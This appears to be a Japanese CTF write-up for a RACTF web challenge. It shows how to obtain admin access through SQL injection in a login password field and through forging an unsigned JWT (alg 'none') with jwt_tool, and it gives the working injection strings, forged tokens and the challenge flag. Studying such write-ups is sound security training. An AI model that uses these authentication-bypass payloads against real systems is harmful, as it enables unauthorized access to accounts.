Rating:

# Getting admin:Web:300pts
Challenge instance ready at 95.216.233.106:36245.
See if you can get an admin account.

# Solution
アクセスするとSign inとSign upがあるが、Sign upは現在停止しているようだ。
RAQE
[site.png](../Quarantine_-_Hidden_information/site/site.png)
Sign inを試みる。
Login
[site1.png](../Quarantine/site/site1.png)
Passwordに`'`を入力(Usernameは空)してみると、Internal Server Errorを引き起こせた。
SQLインジェクションが行えそうだ。
`t' OR 't' = 't`をPasswordに設定したところ以下のようにAttempting to login as more than one user!??と怒られた。
Login(more than one user)
[site2.png](../Quarantine/site/site2.png)
userを制限してやれば良いため、`t' OR LENGTH(username) = 5 --`とする。
ログイン成功したが、adminではないためAdminリンクには飛べない。
Three videos avaliable
[site3.png](../Quarantine/site/flag.png)
ここでクッキーを見てみると以下のJWTが入っていた。
```text
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU
```
JWTだ。
[JSON Web Tokens - jwt.io](https://jwt.io)で中身を見ると以下のようであった。
HEADER:ALGORITHM & TOKEN TYPE
```json
{
"typ": "JWT",
"alg": "HS256"
}
```
PAYLOAD:DATA
```json
{
"user": "Harry",
"privilege": 1
}
```
userをAdminとするかprivilegeを0か2にしてみれば良いようだが署名をどうにかする必要がある。
[The JSON Web Token Toolkit](https://github.com/ticarpi/jwt_tool)を使ってnoneが通るか確認する。
一部の出力は省略する。
```bash
$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU
> 2
~~~
"alg": "None":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.

"alg": "NONE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.

"alg": "nOnE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.
~~~
```
`eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.`をセットしても問題ないようだ。
よってJWTを任意のものに改竄し、署名無しにすればよい。
一部の出力は省略する。
```bash
$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU
> 1
> 2
> none
> 0
> 2
> 2
[1] user = "Harry"
[2] privilege = 2
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
>0
> 3
~~~
Your new forged token:
"alg": "none":
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.

====================================================================
Some variants, which may work on some JWT libraries:

"alg": "None":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.

"alg": "NONE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.

"alg": "nOnE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
====================================================================
```
結局privilegeを2とするのが正解だった。
`eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.`をセットしてAdminに飛ぶとflagが得られる。
flag
[flag.png](site/flag.png)

## ractf{j4va5cr1pt_w3b_t0ken}

Original writeup (https://github.com/satoki/ctf_writeups/blob/master/RACTF/Getting_admin).